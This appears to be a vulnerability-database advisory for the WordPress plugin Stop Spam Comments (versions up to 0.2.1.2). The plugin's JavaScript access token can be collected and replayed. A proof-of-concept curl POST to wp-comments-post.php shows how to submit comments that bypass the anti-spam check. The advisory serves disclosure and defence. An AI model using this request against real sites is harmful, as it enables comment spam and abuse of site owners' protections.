WordPress Plugin Vulnerabilities

Stop Spam Comments <= 0.2.1.2 - Access Token Bypass

Description

The plugin does not properly generate the Javascript access token for preventing abuse of comment section, allowing threat authors to easily collect the value and add it to the request.

Proof of Concept

Collect the name and value of ssc_key for the target post and use it on the request.

curl 'http://target.tld/wp-comments-post.php' -X POST --data-raw 'ssc_key_NAME=VALUE&comment=test&author=test&email=test%40test.tld&url=&submit=Post+Comment&comment_post_ID=1&comment_parent=0'

Affects Plugins

References

Miscellaneous

Original Researcher
Daniel Ruf
Submitter
Daniel Ruf
Submitter website
Verified
Yes

Timeline

Publicly Published
2022-08-08 (about 1 years ago)
Added
2022-08-08 (about 1 years ago)
Last Updated
2023-05-05 (about 1 years ago)

Other